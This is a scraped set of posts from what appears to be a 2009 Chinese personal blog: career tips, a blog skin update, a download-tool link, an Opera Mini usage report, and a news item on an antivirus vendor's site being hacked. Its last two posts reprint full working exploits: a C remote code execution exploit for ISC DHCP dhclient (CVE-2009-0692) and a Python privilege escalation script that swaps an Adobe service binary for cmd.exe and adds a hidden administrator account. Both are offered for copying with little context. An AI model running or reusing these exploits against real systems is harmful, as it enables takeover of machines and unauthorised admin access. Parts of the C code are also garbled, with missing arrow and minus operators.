80后勇闯职场必须掌握的八大原则(Smart-司马他法则)

      80后勇闯职场必须掌握的八大原则(Smart-司马他法则)。为一名为"抚摸三下"的博客博主所撰,在网上极受追捧,一阵猛搜之后终于寻到,特与诸君分享。

      前段时间,因为《潜伏》和《我的青春谁做主》的热播,随即就发生了关系职场生存法则的大讨论,做为80后,我们都是有身份证的人,当然,也是渴望有好工作的人,无论是忠诚于办公室还是SOHO一族,我想大家都想把自己的才技发挥的淋漓尽致,并且渴望体现出自己的大智慧与小机灵,得到BOSS的肯定,那么,到底我们是做老奸巨猾的余则成,还是做青春里面钱小样、李霹雳,我想,这是个值得思考的问题。
    
      面对现如今的金融危机大潮,面对终止合作和减薪,我想,我们需要“楼坚强”式的微笑,同样更需要掌握好勇闯职场的法宝和原则:

      1、找工作要不抛弃不放弃
    要做找工作经历了成批量打击仍不气馁的钱小样,这是勇闯职场开门红的必胜法宝。

      2、注意发挥自己的特长
      像李霹雳一样,虽然并没有真正的到名校读书,但还是学到了拿手的西餐,注意发挥自己的特长让她可以生存,同样,我们所需要的也是注意发挥自己的特长,切不可忽略了这一先天性资源。

      3、要懂得如何让BOSS满意
      BOSS所需要的不是你的借口,同样也不是你为此做为什么样什么样的努力,因为他不想听,也没有时间听。陆桥山这点还是颇占优势,不鲁莽,对于80后一代来讲,没有任何理由,只要简单的明白BOSS所要的就是需求—结果,就是这么简单和实用。

      4、把自己的长处发现的淋漓尽致
      要善于发挥自己的优势和长处,在一个团队中,我们不可能把所有的事都做全做完,但只要把自己的长处发挥出来,就会得到欣赏和肯定,同样,也可以提高团队的整体水平。而翠平做到了这一点,让我们在放松的同时也给了大家一个惊喜。

      5、讲原则不要乱了大局
      要讲原则,在大局面前要懂得如何去应酬,所以懂得,自然是知道如何排序,什么最重要,什么次重要,什么要先办,什么要后办,当然,还有把所有的事都用本子和笔记录下来,像马奎,忠诚的国民战士,这样才能万无一失。

      6、注重实践并且谦虚谨慎
      刚刚毕业的大学生,总会毫无保留,或者说根本没有什么实践的情况下,就想把所学的东西应用出去,不听任何人的意见。我想,这点是需要避免的,要注重实践,对于老同志的意见一定要听得进去,谦虚谨慎才更容易接近成功。这点,当然要学赵青楚,追求品质也追求谦虚。

      7、善于思考和处理问题
      这点,我想我们80后一代应该多学习学习余则成,对于则成来讲,如果不善于思考,也许早就没命,如果不会处理问题,也许就会命丧黄泉,所以,要把思考养成一种习惯,要经常在紧张和着急的时候,坐着想一想,站起来走一走。

      8、做好补给和放松
      有再强的能力,也需要保养和补给,只有放松才能更好的展示出自己最优秀的一面,OK,所以该休息的时候就休息,像《我的青春我做主》中的三位妈妈,雷人话语的同时也让人彻底放松了一把,当然,也像偶,这段时间一直在研究吃,天天有创意,做一些有特色的小菜,轻松而愉悦,何乐而不为。

      恪守以上八大原则,也让三下想起此前有网友曰:“知识不是力量,智慧才是!”80后们的职场之路,只有从智慧出发,坚守SMART原则:S-Specific(具体的)、M-Measurable(可衡量)、A-Achivement(可完成)、R-Realistic(现实的)、T-Time bond(时间段),才能将自己打造成新一代的职场smart人。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/other/124

博客换新皮,采用新的评论&留言回复方式

      之前用的皮肤是威言威语设计的,因为看重它的web2.0元素和清爽的界面用了半年之久。前天到论坛上逛的时候发现了这一款皮肤,看着更加清爽,拿回来自己做了一些修改之后就放上来了。这里要特别感谢Alzn兄弟的大力支持,在皮肤修改上帮了很多忙。现在就差一个新Logo了,正在让另一个兄弟帮忙设计,过几天就能放上来了。如果大家有什么意见或者测试到bug请及时反馈哦。
      经常来的朋友应该已经注意到秋天对评论和留言的回复方式已经换用"@+评论用户名+评论回复内容"的格式,效仿了世纪之光。出于安全的考虑,回复评论的账号并不是管理员账号,因此不能直接在原评论上直接回复而需要采用追加新评论的方式来完场回复,还请各位谅解。

      ===========2009.8.1更新=================
      经过大家的测试,已修正新皮肤如下问题:
      1,IE6下侧边栏下沉;
      2,页脚cnzz统计代码不能居中。
      当前已通过测试浏览器:safari4.0,firefox中国版3.0.12,Opera10.00 Beta 2,IE6、IE7。
      已知问题:
      在IE8下,UBBCode_IE.js脚本执行错误,主要存在于评论和留言的内容输入框内。此问题估计需要升级UBB代码版本。
      在此感谢大家的积极反馈,我会努力做到最好!

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/other/125

迅雷&快车&旋风地址转换工具下载

      简单小巧的小工具,可以实现迅雷、快车、腾讯旋风专用下载地址和普通http地址的互转,以及URL地址解密、加密。不多做介绍了,喜欢的下载就是了。

迅雷&快车&旋风下载地址转换工具界面

软件界面

下载文件 点击下载迅雷&快车&旋风地址转换工具

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/126

Opera发布Opera Mini使用状况报告

      最近Opera公司根据其Opera Mini服务器上所得到的数据发布了一份移动互联网状况报告,按照这份报告中的说法,今年6月份共有2650万名用户浏览了超过104亿个网页,用户数量比去年同期上升了143%,而浏览网页的数量则出现了224%的增长。

      在移动设备上,Opera是最广泛使用的一种浏览器,有超过4000万部市售手机均内置有这款浏览器,下面我们就来看看哪个国家的用户以及哪些手机最多使用Oprea软件。

      6月份使用Oprea Mini最多,排行前十的地区是俄罗斯,印尼,印度,中国,乌克兰,南非,美国,英国,波兰以及尼日利亚。

      在世界范围内,诺基亚与索爱的手机是最多使用Oprea浏览器的机型,其中使用Opera Mini最多的手机是诺基亚6300,这款手机属于2G手机,在俄罗斯,印尼以及乌克兰地区销量第一。不过以下地区使用Opera Mini最多的手机机机型并不是诺基亚/索爱机型,它们分别是美国地区的黑莓Curve8330,英国的LG Renoir,南非的三星E350。

      在诺基亚手机上,Oprea Mini用户浏览最多的站点是谷歌和Facbook,不过在印尼人们更偏爱雅虎,而俄罗斯和乌克兰用户则更多浏览Yandex和Vkontakte站点。
      文章来源:cnbeta

      这篇文章说的真是一点都没错,本人的6300就一直装的Opera Mini。前一段时间Opera Mini出现不能联网的情况,而且重新下载也不能正常联网完成安装。被迫用了一段时间的UCWEB,作为国产的手机浏览器,在技术和人性化上设计还是不错的,只是对于网页结构的分析仍然不是很到位。直到前天(上周日)Opera Mini才恢复正常,可以重新安装。最喜欢它的页面缩放和虚拟鼠标功能,采用页面压缩技术将一张网页缩放成手机满屏大小,上面有一个虚拟鼠标,用手机方向键就可以移动它,移动到想要浏览的区域再放大浏览网页内容。这样可以有效节省流量和用户的操作时间。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/it-web-news/127

瑞星承认服务器被攻陷并被黑客“挂马”

  7月27号中午,某安全中心对外发布安全预警,瑞星官方网站被黑客“挂马”。三个多小时后,瑞星官方公告称:瑞星网站服务器确遭黑客团伙攻陷,并被植入了木马。

  新闻链接:瑞星官网被黑客植入木马,浏览者或遭盗号
  据监控数据显示,瑞星官网部分网页于7月25日凌晨起就被黑客“挂马”(链接:hxxp://tool.ikaka.com/Noticeinfo/yahoo.shtml),“挂马”时间超过60小时。攻击目标包括微软尚未提供补丁的Office0day漏洞以及FireFox3.5版漏洞等多个漏洞。部分用户浏览瑞星网站页面后,电脑被自动下载运行“机器狗”木马变种,该木马能破坏杀毒软件并穿透系统还原,使用户的网游、网银账号和个人隐私面临极大的失窃风险。

瑞星卡卡相关页面被360拦截

瑞星卡卡相关页面被360拦截截图

  据安全专家分析,此次黑客攻击主要是通过瑞星网站的WEB漏洞入侵。从瑞星官网的“挂马形式”来看,黑客很可能已经获得了该网站的高级权限,并能随意在网页中添加恶意代码。经测试,包括360安全卫士、金山网盾、卡巴斯基、畅游巡警等在内的多款安全软件均对瑞星官网“挂马”页面实施了拦截。

  上文中提及的地址现已可正常访问。

  27号瑞星的公告:

  瑞星声明:警告黑客团伙停止作恶 卡卡网可以正常访问
  来源:瑞星公司 时间:2009-07-27 17:07:31

    7月27日中午,瑞星“云安全”系统成功截获黑客团伙向“瑞星卡卡”网站植入木马,瑞星随即对网站服务器进行修复和整理,目前卡卡网可以正常访问。被挂马网页位于瑞星卡卡网(www.ikaka.com),访问人群多为瑞星用户,因为瑞星软件完全能够拦截这起挂马攻击行为,并阻止木马病毒的下载,请广大用户无须恐慌。

    瑞星工程师认为,这是一起明显的黑客团伙恶意报复行为,由于瑞星“云安全”系统能够全面监控并拦截挂马网站攻击,被断了财路的黑客团伙一直在攻击瑞星网站。自7月初以来,某黑客团伙利用位于118.123.11.29(代理地址)的服务器对瑞星网站进行不间断的扫描,寻找攻击入口。

瑞星卡卡拦截自己的网站

可怜的小狮子拦截自家网站,颇具黑色幽默意味

       瑞星已将相关资料上报公安部门,并警告该团伙悬崖勒马,停止对瑞星以及其它网站的攻击。

       瑞星互联网攻防实验室将该黑客组织命名为“X团伙”,自6月份开始,瑞星工程师与“X团伙”进行过多轮交手,先后通过卡卡社区公布过三个被该团伙侵入的网站分析日志,帮助数十个网站管理员弥补漏洞,防范此类攻击。并且,瑞星工程师还通过“云安全”系统,对“X团伙”的攻击信息随时进行密切跟踪,随时把其使用的代理服务器IP及挂马地址加入到黑名单,这样即使其攻陷了一些网站植入病毒,用户访问这些网站时杀毒软件也会进行拦截,完全可以确保用户不会中毒。

       根据瑞星“云安全”系统数据,“X团伙”进入7月份以来,已经攻击了200多个网站,以政府网站、高校网站和娱乐网站为主,受害用户甚至包括某省政府门户网站、检察院网站及公安网站。该团伙通常会先利用傀儡服务器对被害网站进行嗅探、扫描和渗透,然后利用SQL注入获取服务器权限,再把挂马网站地址嵌入到网页中,这样当用户访问受害网站时,就会被木马程序侵入。

      仅7月21日当天,该团伙就先后使用了59.54.54.92和118.123.11.29两个IP地址的服务器进行攻击,前者甚至是位于江西九江电信IDC机房的服务器,通常这种服务器运算能力强,而且IDC机房的带宽也大,攻击能力强悍。通过大量的扫描和嗅探,该团伙终于在卡卡网站一个访问量较小的网页频道上找到了薄弱点,对其进行了注入攻击。幸好由于发现及时,而且瑞星杀毒软件已经能够拦截嵌入的恶意网址,从而使得此次攻击并未影响太多普通用户。

      目前,瑞星公司已经掌握了大量的证据,包括该团伙使用的服务器地址、IP、攻击过的网站列表,受害用户的数量等,并已经把这些数据上报给了公安部门。等待该团伙的,必将是覆灭的下场。

   后记:

实际测试卡卡拦截网页时提示403错误
HTTP 错误 403.6 – 禁止访问:客户端的 IP 地址被拒绝。

      在我实际手动输入瑞星公告中的地址时,显示403错误,禁止访问,估计瑞星屏蔽了很多IP。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/128

ISC DHCP dhclient < 3.1.2p1 远程缓冲区溢出漏洞

ISC DHCP dhclient < 3.1.2p1 Remote Buffer Overflow PoC
ISC DHCP是一款开源的DHCP服务实现。
ISC DHCP服务器不正确处理DHCP请求,远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。

复制内容到剪贴板程序代码程序代码
/*
* cve-2009-0692.c
*
* ISC DHCP dhclient < 3.1.2p1 Remote Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0692
*
*   Stack-based buffer overflow in the script_write_params method in
*   client/dhclient.c in ISC DHCP dhclient 4.1 before 4.1.0p1, 4.0 before
*   4.0.1p1, 3.1 before 3.1.2p1, 3.0, and 2.0 allows remote DHCP servers to
*   execute arbitrary code via a crafted subnet-mask option.
*
* Usage:
*
*   $ gcc cve-2009-0692.c -o cve-2009-0692 -lpcap -ldnet
*   $ sudo ./cve-2009-0692
*   [+] listening on eth0: ip and udp and src port 68 and dst port 67
*   [+] snarfed DHCP request from 00:19:d1:90:e5:4a with xid 0x120f8920
*   [+] sending malicious DHCP response to 00:19:d1:90:e5:4a with xid 0x120f8920
*
*   $ gdb /sbin/dhclient
*   …
*   DHCPREQUEST on eth0 to 255.255.255.255 port 67
*   DHCPACK from 0.6.9.2
*   …
*   Program received signal SIGSEGV, Segmentation fault.
*   0x41414141 in ?? ()
*
* Notes:
*
*   Only tested with dhclient 3.1.2 on 32-bit Gentoo / GCC 4.3.3.  Feel free
*   to tweak for your target platform.  Depends on libdnet and libpcap.
*
*   READABLE_1 and READABLE_2 need to be readable addresses as we fix up the
*   stack during our overflow.  After a successful return from the vulnerable
*   script_write_params function, EIP will be set to JMP_TARGET.
*
*   Exclusively for use at DEFCON next week.  😉
*/

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <dnet.h>
#include <pcap.h>

#define READABLE_1         "\xa8\xfc\x0b\x08" /* for es.client */
#define READABLE_2         "\xbc\x34\x0a\x08" /* for es.prefix */
#define JMP_TARGET         "\x41\x41\x41\x41"

#define BPF_FILTER         "ip and udp and src port 68 and dst port 67"
#define PKT_BUFSIZ         1514
#define DHCP_OP_REQUEST    1
#define DHCP_OP_REPLY      2
#define DHCP_TYPE_REQUEST  3
#define DHCP_TYPE_ACK      5
#define DHCP_OPT_REQIP     50
#define DHCP_OPT_MSGTYPE   53
#define DHCP_OPT_END       255
#define DHCP_CHADDR_LEN    16
#define SERVERNAME_LEN     64
#define BOOTFILE_LEN       128
#define DHCP_HDR_LEN       240
#define DHCP_OPT_HDR_LEN   2

#ifndef __GNUC__
# define __attribute__(x)
# pragma pack(1)
#endif

struct dhcp_hdr {
    uint8_t op;
    uint8_t hwtype;
    uint8_t hwlen;
    uint8_t hwopcount;
    uint32_t xid;
    uint16_t secs;
    uint16_t flags;
    uint32_t ciaddr;
    uint32_t yiaddr;
    uint32_t siaddr;
    uint32_t giaddr;
    uint8_t chaddr[DHCP_CHADDR_LEN];
    uint8_t servername[SERVERNAME_LEN];
    uint8_t bootfile[BOOTFILE_LEN];
    uint32_t cookie;
} __attribute__((__packed__));

struct dhcp_opt {
    uint8_t opt;
    uint8_t len;
} __attribute__((__packed__));

#ifndef __GNUC__
# pragma pack()
#endif

void
process(u_char *data, const struct pcap_pkthdr *pkthdr, const u_char *pkt)
{
    eth_t *raw;
    struct ip_hdr *ip_h;
    struct eth_hdr *eth_h;
    struct udp_hdr *udp_h;
    struct dhcp_hdr *dhcp_h;
    struct dhcp_opt *dhcp_opt;
    char *dev = data, *ptr;
    char pktbuf[PKT_BUFSIZ], options[PKT_BUFSIZ], payload[PKT_BUFSIZ];
    int opt_len, clen = pkthdr>caplen;
    uint8_t msg_type = 0, payload_len = 0;
    uint32_t yiaddr = 0;

    /* packet too short */
    if (clen < ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + DHCP_OPT_HDR_LEN) {
        return;
    }

    eth_h = (struct eth_hdr *) pkt;
    ip_h = (struct ip_hdr *) ((char *) eth_h + ETH_HDR_LEN);
    udp_h = (struct udp_hdr *) ((char *) ip_h + IP_HDR_LEN);
    dhcp_h = (struct dhcp_hdr *) ((char *) udp_h + UDP_HDR_LEN);
    dhcp_opt = (struct dhcp_opt *) ((char *) dhcp_h + DHCP_HDR_LEN);

    /* only care about REQUEST opcodes */
    if (dhcp_h>op != DHCP_OP_REQUEST) {
        return;
    }

    /* parse DHCP options */
    while (1) {
        if (dhcp_opt>opt == DHCP_OPT_MSGTYPE) {
            if (dhcp_opt>len != 1) {
                return;
            }
            memcpy(&msg_type, (char *) dhcp_opt + DHCP_OPT_HDR_LEN, dhcp_opt>len);
        }
        if (dhcp_opt>opt == DHCP_OPT_REQIP) {
            if (dhcp_opt>len != 4) {
                return;
            }
            memcpy(&yiaddr, (char *) dhcp_opt + DHCP_OPT_HDR_LEN, dhcp_opt>len);
        }
        if (dhcp_opt>opt == DHCP_OPT_END) {
            break;
        }
        if (((char *) dhcp_opt (char *) pkt) + DHCP_OPT_HDR_LEN + dhcp_opt>len > clen) {
            break;
        }
        dhcp_opt = (struct dhcp_opt *) ((char *) dhcp_opt + DHCP_OPT_HDR_LEN + dhcp_opt>len);
    }

    /* only care about REQUEST msg types */
    if (msg_type != DHCP_TYPE_REQUEST) {
        return;
    }

    printf("[+] snarfed DHCP request from %s with xid 0x%08x\n", eth_ntoa(&eth_h>eth_src), dhcp_h>xid);
    printf("[+] sending malicious DHCP response to %s with xid 0x%08x\n\n", eth_ntoa(&eth_h>eth_src), dhcp_h>xid);

    /* construct stack payload */
    memset(payload, 0, sizeof(payload));
    ptr = payload;
    memset(ptr, 0, 16);
    ptr += 16;
    memcpy(ptr, READABLE_1, 4);
    ptr += 4;
    memcpy(ptr, READABLE_2, 4);
    ptr += 4;
    memset(ptr, 0, 8);
    ptr += 8;
    memcpy(ptr, "\x04\x00\x00\x00", 4);
    ptr += 4;
    memset(ptr, 0, 28);
    ptr += 28;
    memcpy(ptr, JMP_TARGET, 4);
    ptr += 4;
    payload_len = ptr payload;

    /* dhcp header */
    dhcp_h>op = DHCP_OP_REPLY;
    memcpy(&dhcp_h>yiaddr, &yiaddr, 4);

    /* normal dhcp options */
    memset(options, 0, sizeof(options));
    ptr = options;
    memcpy(ptr, "\x35\x01\x05", 3);
    ptr += 3;
    memcpy(ptr, "\x36\x04\x00\x06\x09\x02", 6);
    ptr += 6;
    memcpy(ptr, "\x33\x04\x00\x09\x3a\x80", 6);
    ptr += 6;
    memcpy(ptr, "\x03\x04\x00\x06\x09\x02", 6);
    ptr += 6;
    memcpy(ptr, "\x06\x04\x00\x06\x09\x02", 6);
    ptr += 6;

    /* malicious subnet mask option */
    memcpy(ptr, "\x01", 1);
    ptr += 1;
    memcpy(ptr, &payload_len, 1);
    ptr += 1;
    memcpy(ptr, payload, payload_len);
    ptr += payload_len;

    memcpy(ptr, "\xff", 1);
    ptr += 1;
    opt_len = ptr options;

    /* construct full packet payload */
    memset(pktbuf, 0, sizeof(pktbuf));
    ptr = pktbuf;

    eth_pack_hdr(ptr, ETH_ADDR_BROADCAST, "\xc1\x1e\x20\x09\x06\x92", ETH_TYPE_IP);
    ptr += ETH_HDR_LEN;

    ip_pack_hdr(ptr, 0, IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len, 0x0692, IP_DF, 64, IP_PROTO_UDP, 34145792, IP_ADDR_BROADCAST);
    ptr += IP_HDR_LEN;

    udp_pack_hdr(ptr, 67, 68, UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
    ptr += UDP_HDR_LEN;

    memcpy(ptr, dhcp_h, DHCP_HDR_LEN);
    ptr += DHCP_HDR_LEN;

    memcpy(ptr, options, opt_len);
    ptr += opt_len;

    ip_checksum(pktbuf + ETH_HDR_LEN, IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);

    /* fire off malicious response */
    raw = eth_open(dev);
    if (!raw) {
        fprintf(stderr, "[-] error opening raw socket on %s\n", dev);
        exit(1);
    }
    eth_send(raw, pktbuf, ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN + DHCP_HDR_LEN + opt_len);
    eth_close(raw);
}

void
usage(char **argv)
{
    fprintf(stderr, "usage: %s [-i interface]\n", argv[0]);
    exit(1);
}

int
main(int argc, char **argv)
{
    int ch, ret;
    char *dev = NULL;
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program bfp;
    pcap_t *ph;
    
    opterr = 0;

    while ((ch = getopt(argc, argv, "i:")) != 1) {
        switch (ch) {
        case 'i':
            dev = optarg;
            break;
        default:
            usage(argv);
        }
    }

    if (!dev) {
        dev = pcap_lookupdev(errbuf);
        if (!dev) {
            fprintf(stderr, "[-] couldn't find default interface: %s\n", errbuf);
            exit(1);
        }
    }

    ph = pcap_open_live(dev, PKT_BUFSIZ, 1, 1, errbuf);
    if (!ph) {
        fprintf(stderr, "[-] couldn't open interface %s: %s\n", dev, errbuf);
        exit(1);
    }

    ret = pcap_compile(ph, &bfp, BPF_FILTER, 1, 0);
    if (ret == 1) {
        fprintf(stderr, "[-] couldn't parse BPF filter: %s\n", pcap_geterr(ph));
        exit(1);
    }

    pcap_setfilter(ph, &bfp);
    if (ret == 1) {
        fprintf(stderr, "[-] couldn't set BPF filter: %s\n", pcap_geterr(ph));
        exit(1);
    }

    printf("[+] listening on %s: %s\n", dev, BPF_FILTER);

    pcap_loop(ph, 1, process, dev);

    return 0;
}

// milw0rm.com [2009-07-27]

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/129

Adobe相关服务(getPlus_HelperSvc.exe)本地提权漏洞

描述:
Adobe下载者(此处指downloader文件)用来下载为Adobe应用程序下载更新
在Acrobat Reader9.x下测试
可执行文件可以被系统内置用户以提升为“完全控制”的系统权限来安装,任何用户都可以替换改文件来达到自己的目的。在系统重启后它将以"SYSTEM"权限运行。
description:
Adobe downloader used to download updates for Adobe applications.
Shipped with Acrobat Reader 9.x

poc:

C:\>sc qc "getPlus(R) Helper"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: getPlus(R) Helper
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Programmi\NOS\bin\getPlus_HelperSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : getPlus(R) Helper
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

C:\>cacls "C:\Programmi\NOS\bin\getPlus_HelperSvc.exe"
C:\Programmi\NOS\bin\getPlus_HelperSvc.exe BUILTIN\Users:F <————– [!!!]
                                           NT AUTHORITY\SYSTEM:F
The executable file is installed with improper permissions, with "full
control" for Builtin Users; a simple user can replace it with a binary of
choice.
At the next reboot it will run with SYSTEM privileges.

昨天Milw0rm上刚刚给出了Python的利用代码,内容如下:

复制内容到剪贴板程序代码程序代码
#!/usr/bin/env python
##################################################################################
#
# Adobe Acrobat v9.1.2 Local Privilege Escalation Exploit
# Coded By: Dr_IDE
# Discovered by: Nine:Situations:Group
# Tested On: Windows XP SP2, Requires NOS Package Installed
# Usage: python Dr_IDE-Adobe_912.py
#
##################################################################################

import os, subprocess

#
# Should probably have a try block around this as not every install
# of 9.1.2 has the NOS package on it. This is a little touchy so you may have to
# play around with it.
#
# This is a super lame way to do this but it makes it more educational.
evil =  "echo *************************************************************\n"
evil += "echo *\n"
evil += "echo * Adobe Acrobat v9.1.2 Local Privilege Escalation Exploit\n"
evil += "echo * Coded By: Dr_IDE\n"
evil += "echo * Discovered By: Nine:Situations:Group\n"
evil += "echo * Tested On: Windows XP SP2\n"
evil += "echo *\n"
evil += "echo *************************************************************\n"
evil += "echo This will add user Dr_IDE:password to the Admin Group\n"
evil += "cd C:\\Program Files\\NOS\\bin\n"
evil += "copy /Y GetPlus_HelperSvc.exe GetPlus_HelperSvc.old\n"
evil += "copy /Y %systemroot%\\system32\\cmd.exe\n"
evil += "GetPlus_HelperSvc.exe /C net user Dr_IDE password /ADD\n"
evil += "GetPlus_HelperSvc.exe /C net localgroup administrators Dr_IDE /ADD\n"
evil += "GetPlus_HelperSvc.exe /C net user Dr_IDE\n"
evil += "exit"

f1 = open('Dr_IDE-Adobe.bat','w');
f1.write(evil);
f1.close();

# Here are two ways to execute this exploit. If you leave both commented just the batch file is created.

# Silent Way – This should be more stealthy
#retval = subprocess.call("Dr_IDE-Adobe.bat");

# Louder Way – On some systems this will probably open a DOS window
#retval = os.system("Dr_IDE-Adobe.bat");

# milw0rm.com [2009-07-27]

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/130